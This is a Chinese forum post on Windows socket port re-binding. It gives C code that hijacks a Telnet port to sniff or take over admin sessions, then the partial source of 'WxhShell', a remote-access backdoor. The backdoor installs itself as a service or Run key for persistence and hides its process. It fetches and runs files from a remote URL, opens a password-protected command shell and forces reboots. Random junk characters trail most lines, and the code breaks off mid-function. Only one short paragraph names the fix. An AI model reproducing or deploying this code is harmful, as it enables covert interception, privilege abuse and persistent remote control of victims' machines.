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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ([ -i5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); shw"TF>?zG  
H\qZu%F'  
  saddr.sin_family = AF_INET; G|[{\  
O@4J=P=w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oR,6esA+6n  
' ,S}X\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SZyORN  
DIw_"$'At  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -U\'Emu4  
%<x! mE x  
  这意味着什么?意味着可以进行如下的攻击: % 1$#fxR  
P%H  Dz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Fe4>G8uuwn  
Mm(#N/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %1:caa@_p  
-- FzRO{D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1]eRragm"  
k|\M(Z*(P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V.z8 ]iG  
&^#u=w?^x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RgA"`p7{  
8Y.9%@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $XTtDUP@  
jz! [#-G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g&85L$   
KN[;z2i  
  #include \hZ%NL j  
  #include ZZ!">AN`^  
  #include 8I *N  
  #include    dzBP<Xyh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &b`W<PAc?4  
  int main() (wM` LE(Ks  
  { b0YEIV<$  
  WORD wVersionRequested; :)D7_[i  
  DWORD ret; =u?aP}zc  
  WSADATA wsaData; o.Rv<a5.L  
  BOOL val; 6[4VbIBSI  
  SOCKADDR_IN saddr; QxdC[t$Lp  
  SOCKADDR_IN scaddr; B ~N3k  
  int err; Qj;{Z*l%+  
  SOCKET s; Z#L4n#TT  
  SOCKET sc; V^&*y+  
  int caddsize; 5.oIyC^Ik  
  HANDLE mt; e1LIk1`p  
  DWORD tid;   i/%l B  
  wVersionRequested = MAKEWORD( 2, 2 ); *=2W:,$  
  err = WSAStartup( wVersionRequested, &wsaData ); ~bx ev/$d  
  if ( err != 0 ) { 4|E^ #C  
  printf("error!WSAStartup failed!\n"); j7gw?,  
  return -1; xsn=Ji2 F  
  } 4$[o;t>  
  saddr.sin_family = AF_INET; CDRbYO  
   vM6W64S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gWGDm~+  
$q)YC.5$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); } P ,"  
  saddr.sin_port = htons(23); z&tC5]#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QJRnpN/  
  { sHc-xnd  
  printf("error!socket failed!\n"); (X,i,qK/  
  return -1; %&yPl{  
  } )\=xPfs  
  val = TRUE; {V2"Pym?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *H/3xPh,*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y'`/^>.  
  {  '2*OrY  
  printf("error!setsockopt failed!\n"); a @2fJ}  
  return -1; !43 !JfD  
  } l^9gFp~I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z'_Fg0kR{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qrYbc~jI7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^]nLE]M  
7>__ fQu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HDhISPg  
  { hc[ K VLpS  
  ret=GetLastError(); 5 tQz!M  
  printf("error!bind failed!\n"); hj9TiH/+  
  return -1; Td|u@l4B  
  } 14B',]`  
  listen(s,2); < ,*\t  
  while(1) > 0MP[  
  { $TXxhd 6  
  caddsize = sizeof(scaddr); ovTL'j!  
  //接受连接请求 QMsq4yJ)%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fUkqhqe  
  if(sc!=INVALID_SOCKET) 0X5cn 0L^  
  { w3(|A> s3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q[a\a7U z  
  if(mt==NULL) uLS]=:BT  
  { ^w\22 Q  
  printf("Thread Creat Failed!\n"); #f2k*8"eAF  
  break; 8m?(* [[  
  } .Q,"gsY  
  } \D?'.Wo%  
  CloseHandle(mt); lD0-S0i  
  } k.ou$mIY  
  closesocket(s); X3l>GeUi  
  WSACleanup(); 2!J#XzR0W  
  return 0; i D IY|  
  }   I?3b}#&V9  
  DWORD WINAPI ClientThread(LPVOID lpParam) KFd +7C9  
  { Z^&G9I#  
  SOCKET ss = (SOCKET)lpParam; ~R w1  
  SOCKET sc; WzN c=@[W  
  unsigned char buf[4096]; #T_!-;(Z  
  SOCKADDR_IN saddr; '" "v7  
  long num; cERIj0~  
  DWORD val; -[7+g  
  DWORD ret; ?ZlXh51  
  //如果是隐藏端口应用的话,可以在此处加一些判断 })/P[^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DWt|lO  
  saddr.sin_family = AF_INET; S{+t>en  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x|0C0a\"A  
  saddr.sin_port = htons(23); 2`$*HPj+G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gT+g@\u[  
  { A*y4<'}<  
  printf("error!socket failed!\n"); 2d[q5p  
  return -1; L/tpT?$fi  
  } V/ G1C^'/  
  val = 100; 73cb1 kfPd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [`\VgKeu  
  { AOR?2u  
  ret = GetLastError(); j ~-N2b6z  
  return -1; xSmG,}3mF  
  } k4K. ml IO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rFg$7  
  { o72r `2  
  ret = GetLastError(); "`49m7q1H  
  return -1; UA6id|G  
  } ttsR`R1.k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lvke!~#  
  { q`c!!Lg  
  printf("error!socket connect failed!\n"); Z6Fu~D2U y  
  closesocket(sc); '? 5-  
  closesocket(ss); ^5sA*%T4  
  return -1; PXMd=,}  
  } @Lnv  
  while(1) HoGYgye=  
  { Fc1!i8vv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F/s n"2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p3=Py7iz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m)tu~ neM  
  num = recv(ss,buf,4096,0); fvC,P#z'|  
  if(num>0) Z=a%)Ki?Ag  
  send(sc,buf,num,0); " ]S  
  else if(num==0) O k`}\NZL  
  break; yJ $6vmQ  
  num = recv(sc,buf,4096,0); ^^N|:80  
  if(num>0) Jl~ *@0(  
  send(ss,buf,num,0); VHD+NY/  
  else if(num==0) WywS1viD  
  break; lx:$EJ  
  } *:n~j9V-  
  closesocket(ss); <L-F3Buu  
  closesocket(sc); x6UXd~ L e  
  return 0 ; SOOVUMj  
  } z\]Z/Bz:6  
NU=ru/  
r].n=455[  
========================================================== ~7PD/dre  
:V'99Esv`  
下边附上一个代码,,WXhSHELL "v1{  
Ek{QNlQ]4  
========================================================== 0caZ_-zU  
#r'MfTr  
#include "stdafx.h" &b} \).5E  
su%(!XJQpg  
#include <stdio.h> >yC=@Uq+  
#include <string.h> U,=f};  
#include <windows.h> X4V>qHV72  
#include <winsock2.h> 5#DMizv6  
#include <winsvc.h> bJ^h{]  
#include <urlmon.h>  q+L'h8  
k1wIb']m]z  
#pragma comment (lib, "Ws2_32.lib") ,s[%,ep`  
#pragma comment (lib, "urlmon.lib") >rd#,r  
/$c87\  
#define MAX_USER   100 // 最大客户端连接数 |7|S>h^  
#define BUF_SOCK   200 // sock buffer Hl$W+e|tj  
#define KEY_BUFF   255 // 输入 buffer NrqJf-ldo  
.?:*0  
#define REBOOT     0   // 重启 ?M4o>T%p"  
#define SHUTDOWN   1   // 关机 =1IK"BA2?  
}DhqzKl  
#define DEF_PORT   5000 // 监听端口 sW]_Ky.]  
S1QMS  
#define REG_LEN     16   // 注册表键长度 uM2@&)u  
#define SVC_LEN     80   // NT服务名长度 ot}erC2~  
~:DL{ZeEb  
// 从dll定义API xKUL}>8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 VEB2F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n28JWkK8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cC/h7o dY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PgkU~68`  
&,&+p0CSI!  
// wxhshell配置信息 hXTfmFy{n  
struct WSCFG { hF2e--  
  int ws_port;         // 监听端口 M"3"6U/e  
  char ws_passstr[REG_LEN]; // 口令 =[( 34#  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,H]%4@]|o  
  char ws_regname[REG_LEN]; // 注册表键名 S/]\GG{  
  char ws_svcname[REG_LEN]; // 服务名 gb_Y]U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z8SwW<{ $  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  2v{WX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FLi'}C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &A0OYV3i.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CHgip&(.F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ge q]wv8  
l2 .S^S  
}; :K| H/kht  
'PF>#X''  
// default Wxhshell configuration m}"Hm(,6  
struct WSCFG wscfg={DEF_PORT, eEZgG=s  
    "xuhuanlingzhe", oIhKMQ;jh  
    1, ?bZH Aed  
    "Wxhshell", ,Z{\YAh1  
    "Wxhshell", 8b/$Qp4d  
            "WxhShell Service", YG\#N+D  
    "Wrsky Windows CmdShell Service", [IYVrT&C'  
    "Please Input Your Password: ", c1f"z1Z  
  1, +z;*r8d<X  
  "http://www.wrsky.com/wxhshell.exe",  +mocSx[  
  "Wxhshell.exe" (nqry[g&  
    }; *ID=X!v  
UoT`/.  
// 消息定义模块 ]\pi!oa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =D1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _p )NZ7yC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y'2|E+*V  
char *msg_ws_ext="\n\rExit."; @v)Z>xv  
char *msg_ws_end="\n\rQuit."; Gx C+lqH#  
char *msg_ws_boot="\n\rReboot...";  YSD G!  
char *msg_ws_poff="\n\rShutdown..."; i'ap8Dr  
char *msg_ws_down="\n\rSave to "; !ho^:}m  
Qq,2V  
char *msg_ws_err="\n\rErr!"; 26j<>>2  
char *msg_ws_ok="\n\rOK!"; M$K%e  
'<Zm>L&  
char ExeFile[MAX_PATH]; h:4(Gm;  
int nUser = 0; }* :3]  
HANDLE handles[MAX_USER]; '/>Mr!H#  
int OsIsNt; Wiis<^)  
"^]gIQc  
SERVICE_STATUS       serviceStatus; D+7xMT8pqH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3aqH!?rVU  
aXe&c^AR  
// 函数声明 !l[;,l   
int Install(void); F[ E'R.:  
int Uninstall(void); 4"P9z}y=i  
int DownloadFile(char *sURL, SOCKET wsh); o 4F'z  
int Boot(int flag); MPB[~#:  
void HideProc(void); :>&q?xvA  
int GetOsVer(void); tq L(H25z  
int Wxhshell(SOCKET wsl); "to!&@I| 4  
void TalkWithClient(void *cs); !*#9b  
int CmdShell(SOCKET sock); ^'X I%fEf  
int StartFromService(void); MLDzWZ~}ef  
int StartWxhshell(LPSTR lpCmdLine); <6Q^o[L  
Fd9[Pe@?`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nv5^2^Sc=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j )J |'b|  
A]BeI  
// 数据结构和表定义 ]Uv,}W  
SERVICE_TABLE_ENTRY DispatchTable[] = 'va[)~!  
{ f{9+,z   
{wscfg.ws_svcname, NTServiceMain}, xFu ,e  
{NULL, NULL} 0z=KnQx"4  
}; tJ(xeb  
Rpn<"LIoB:  
// 自我安装 I}8e"#  
int Install(void) ASXGM0t  
{ LHY7_"u#  
  char svExeFile[MAX_PATH]; Q>1BOH1by  
  HKEY key; Z=Y29V8  
  strcpy(svExeFile,ExeFile); 3BM z{ny=  
p $Tk;;wm  
// 如果是win9x系统,修改注册表设为自启动 j97+'AKX  
if(!OsIsNt) { 5:@bNNX'j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?mH=3 :~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y:\msq1xp  
  RegCloseKey(key); mEY#QN[eq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SdH=1zBc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +5y^c |L0  
  RegCloseKey(key); 1Yb&E7j  
  return 0; NpVL;6?7T  
    } ZKi&f,:  
  } d@3DsE.{i  
} l,@>J9}Se  
else { N#u'SGTG  
5EtR>Pc  
// 如果是NT以上系统,安装为系统服务 h"[B zX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <'=!f6Wh  
if (schSCManager!=0) 971=OEyq*  
{ \,;glY=M!  
  SC_HANDLE schService = CreateService |V34;}\4  
  ( n.+*_c8k  
  schSCManager, fN2Sio:  
  wscfg.ws_svcname, 4?pb!@l  
  wscfg.ws_svcdisp, /d&m#%9Up]  
  SERVICE_ALL_ACCESS, x1:mT[[$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BK!Yl\I<  
  SERVICE_AUTO_START, &4%pPL\f  
  SERVICE_ERROR_NORMAL, dS1HA>c)O  
  svExeFile, Dl>tF?=  
  NULL, J4qk^1m.  
  NULL, 5o6IpF 0V  
  NULL, - (s0f  
  NULL, *f+s  
  NULL wUvE  
  ); jIKg* @  
  if (schService!=0) S?v/diK ]J  
  { )G48,. "  
  CloseServiceHandle(schService); l,|Llb  
  CloseServiceHandle(schSCManager); CPZ{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SK}jhm"y  
  strcat(svExeFile,wscfg.ws_svcname); Fo3*PcUv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *~8F.c x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =1[_#Moc6  
  RegCloseKey(key); Zfs-M)  
  return 0; GgxPpS<ne  
    } e;6:U85LS  
  } `}Y)l:G*g  
  CloseServiceHandle(schSCManager); L@Rgiq|v-|  
} +s#%\:Y M  
} P(PBOB97  
RLf-Rdx/  
return 1; nWK8.&{.  
} J`g5Qn @S  
xOkduk]  
// 自我卸载 c =m#MMc)  
int Uninstall(void) NVzo)C8kb  
{ :'DX M{  
  HKEY key; rQv5uoD  
(^yaAy#4  
if(!OsIsNt) { [P}Bq6;p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RxP~%oADw  
  RegDeleteValue(key,wscfg.ws_regname); 4 QQt 0u0  
  RegCloseKey(key); ;"D}"nL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d- ZUuw  
  RegDeleteValue(key,wscfg.ws_regname); Lv+{@)  
  RegCloseKey(key); +  }"+  
  return 0; DT-.Gdb8  
  } V_3oAu54s{  
} DVd8Ix<  
} ";.j[p:gi  
else { hT%fM3|,e  
:}_hz )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4`?PtRX  
if (schSCManager!=0) 5=;cN9M@  
{ |ts0j/A]Pi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]{=y8]7  
  if (schService!=0) -gGw_w?)(  
  { M2%@bETJ  
  if(DeleteService(schService)!=0) { jNxTy UU  
  CloseServiceHandle(schService); =*fq5v  
  CloseServiceHandle(schSCManager); #GGa,@O  
  return 0; xn, u$@F  
  } <?A4/18K  
  CloseServiceHandle(schService); ,?LE5]  
  } +~=a$xA[C  
  CloseServiceHandle(schSCManager); jA "}\^%3  
} KY&Lv^1_|  
} |}{gE=]  
`N[@lV\xp!  
return 1; JOuy_n  
} pwMA,X/{  
cPcH 8Vd  
// 从指定url下载文件 i>S@C@~  
int DownloadFile(char *sURL, SOCKET wsh) *Y8 5ev q  
{ 09 McUR@  
  HRESULT hr; 1*A^v  
char seps[]= "/"; bF9.k  
char *token; &Sb)a  
char *file; zgFL/a<  
char myURL[MAX_PATH]; +8<$vzB  
char myFILE[MAX_PATH]; L)M{S3q,  
8}yrsF #  
strcpy(myURL,sURL); 4evN^es'I_  
  token=strtok(myURL,seps); _L=-z*a\  
  while(token!=NULL) >4@w|7lS  
  { (PE.v1T  
    file=token; a;5clonB  
  token=strtok(NULL,seps); `BZ|[ q3  
  } *& w/*h$!  
W7C1\'T  
GetCurrentDirectory(MAX_PATH,myFILE); N!.o`4 "z  
strcat(myFILE, "\\"); BqJ|l7+  
strcat(myFILE, file); 7&,$  
  send(wsh,myFILE,strlen(myFILE),0); ZeG4z({af  
send(wsh,"...",3,0); `(j~b=PP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =m<b+@?T  
  if(hr==S_OK) io\t>_  
return 0; EkV#i  
else .hckZx /  
return 1; n-K/d I  
!>'A2V~F  
} ;8=Bee4  
<LZ#A@]71  
// 系统电源模块 "~ =O`5V  
int Boot(int flag) S? Cd,WxT  
{ m>Z3p7!N}  
  HANDLE hToken; /w?zO,!  
  TOKEN_PRIVILEGES tkp; KHP/Y {mH  
!L +b{  
  if(OsIsNt) { ~_0XG0oA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2iKteJ@h)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E6R\ DM  
    tkp.PrivilegeCount = 1; kJ%a;p`O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WUau KRR.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %>/&&(BE  
if(flag==REBOOT) { xj D$i'V+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K:e[#b8 :R  
  return 0; S*n5d>;  
} 5(2 C  
else { p%iZ6H>G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tVf):}<h  
  return 0; n?c[ E+i;  
} J:)ml  
  } i<$?rB!i<1  
  else { qsEFf(9G  
if(flag==REBOOT) { C/ VHzV%q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gcI<bY  
  return 0; {oAD;m`  
} % dtn*NU  
else { qOmL\'8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h:7\S\|8  
  return 0; ;>/Mal  
} mS}.?[d"  
} <k3KCt  
>;"%Db  
return 1; ;TC]<N.YJT  
} [ Y{  
SnX)&>B  
// win9x进程隐藏模块 P_H2[d&/>D  
void HideProc(void) o+{7"Na8[  
{ w('}QB`xad  
Za?BpV~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >bI\pJ  
  if ( hKernel != NULL ) pm9sI4S  
  { A.yIl`'UP#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t(vyi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \' zloBU  
    FreeLibrary(hKernel); Jj0:p"  
  } GB Vqc!d  
3 QXsr<  
return; @:Ft+*2  
} A:4&XRYZY  
?ecR9X k  
// 获取操作系统版本 nxEC6Vh'  
int GetOsVer(void) b%x=7SMXO  
{ XL44pE m  
  OSVERSIONINFO winfo; `c ^ ">L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [uJS. `b  
  GetVersionEx(&winfo); )x?)v#k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =/xx:D/  
  return 1; mm*nXJ  
  else `tuGy}S2  
  return 0; ;P}007;  
} X%og}Cfi  
sEKF  
// 客户端句柄模块 :_F 8O  
int Wxhshell(SOCKET wsl) !]fSS)\H  
{ XR<g~&h  
  SOCKET wsh; ,dosF Q  
  struct sockaddr_in client; xY.?OHgG/  
  DWORD myID; =b"{*Heuw  
J0f!+]~G3  
  while(nUser<MAX_USER) =eS?`|  
{ 0dsL%G~/N  
  int nSize=sizeof(client); RH7!3ye  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zFDtC-GF  
  if(wsh==INVALID_SOCKET) return 1; RZVZ#q(DU  
B@z ng2[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a*&&6Fo  
if(handles[nUser]==0) tCRsaDK>  
  closesocket(wsh); A"qDc  
else Z<=L  
  nUser++; ugj I$u  
  } T#:b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F.@|-wq&  
p1.3)=T  
  return 0; B7Zi|-F  
} +~:OUR*>  
CRiqY_gBf  
// 关闭 socket e\-,e+  
void CloseIt(SOCKET wsh) K:VZ#U(_  
{ B>S>t5$  
closesocket(wsh); CQmozh-  
nUser--; ^U*1_|Jh  
ExitThread(0); \J#&]o)Y  
}  JJs*2y  
egr"og{  
// 客户端请求句柄 *c%{b3T_  
void TalkWithClient(void *cs) >[nR$8_J-l  
{ g-ZXj4Ph!  
lu+KfKa  
  SOCKET wsh=(SOCKET)cs; j B1ZF#  
  char pwd[SVC_LEN]; I#]pk!  
  char cmd[KEY_BUFF]; 6f t6;*,  
char chr[1]; >Y\?v-^~;  
int i,j; {61Y;  
 8 }AWU  
  while (nUser < MAX_USER) { =HV${+K=~  
Brd9"M|d  
if(wscfg.ws_passstr) { PRB lf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =w:)AWZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o9C# 5%9  
  //ZeroMemory(pwd,KEY_BUFF); +M#}(hK  
      i=0; O:~J_Wwl!  
  while(i<SVC_LEN) { MXDCOe~07  
 !I&,!$  
  // 设置超时 P1^|r}  
  fd_set FdRead; 3xdJ<Lrq  
  struct timeval TimeOut; Q W c^}#!!  
  FD_ZERO(&FdRead); $-jj%kS  
  FD_SET(wsh,&FdRead); \hEIQjfi  
  TimeOut.tv_sec=8; qu'D"0  
  TimeOut.tv_usec=0; bI(8Um6m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <$Sl%DoS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O.\\)8xA  
QctzIC#;k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8\C][ y  
  pwd=chr[0]; _ShWCU-~Z  
  if(chr[0]==0xd || chr[0]==0xa) { <c<!|<x  
  pwd=0; fz8 41 <Y  
  break; B~@Gfb>`'  
  }  T-+ uQ3  
  i++; qUn+1.[%  
    } .LnknjC  
=}I=s@  
  // 如果是非法用户,关闭 socket Aeo=m}C;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9x8Vsd  
} %BT]h3dcSS  
M^hz<<:$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^^n (s_g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u i$4  
E'6/@xM  
while(1) { 8A::q;  
jaavh6h)  
  ZeroMemory(cmd,KEY_BUFF); \!w |  
zuFPG{^\#  
      // 自动支持客户端 telnet标准   ^j10 f$B  
  j=0; PY3bn).uR  
  while(j<KEY_BUFF) { jffNA^e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3J/l>1[  
  cmd[j]=chr[0]; )iK:BL*Nw  
  if(chr[0]==0xa || chr[0]==0xd) { cW"DDm g  
  cmd[j]=0; jP2#w{xq  
  break; |b^UPrz)VS  
  } rce._w }  
  j++; a"t~ K  
    } 4%_xT o  
.!i`YT*jF  
  // 下载文件 wa`c3PQGu  
  if(strstr(cmd,"http://")) { %XZhSmlf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ yDDPuAi  
  if(DownloadFile(cmd,wsh)) f|F=)tJO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JY;u<xl  
  else I36%oA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O?"uM>r  
  } myqwU`s  
  else { %3"U|Za+   
.Y8P6_  
    switch(cmd[0]) { cq3Z}Cp  
  lk R^2P  
  // 帮助 Of$R+n.  
  case '?': { XJy.xI>;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0_Elxc  
    break; /iAhGY  
  } Tow!5VAM  
  // 安装 gSj0+|  
  case 'i': { B%k C>J  
    if(Install()) ` vFDO$K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AGjjhbGB  
    else >ZeARCf"f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXf60{:f  
    break; Z5*(xony0  
    } N[fwd=$\#  
  // 卸载 y9LO;{(  
  case 'r': { M&gi$Qs[E  
    if(Uninstall()) T/ eX7p1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2zG"Q  
    else ,`k6 @4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P|p X F~  
    break; =K|#5p`  
    } ]l+<-  
  // 显示 wxhshell 所在路径 n\<7`,  
  case 'p': { ,S<) )  
    char svExeFile[MAX_PATH]; =VT\$ 5A  
    strcpy(svExeFile,"\n\r"); Qnt9x,1m_  
      strcat(svExeFile,ExeFile); #Q-#7|0&  
        send(wsh,svExeFile,strlen(svExeFile),0); /`nkz  
    break; ]s E)-8  
    } @3=q9ftm  
  // 重启 H!OX1F  
  case 'b': { Iu5 9W >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8t) g fSG  
    if(Boot(REBOOT)) 1w7XM0SHcn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?lRada{I  
    else { "M\rO!f:  
    closesocket(wsh); _O11SiP]  
    ExitThread(0); d<HO~+9  
    } jAv3qMQA  
    break; HvKdV`bz  
    } .n4{xQo,EJ  
  // 关机 ^w"hA;  
  case 'd': { Hvy$DX|p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B9KBq $e  
    if(Boot(SHUTDOWN))  2+S+Y%~  
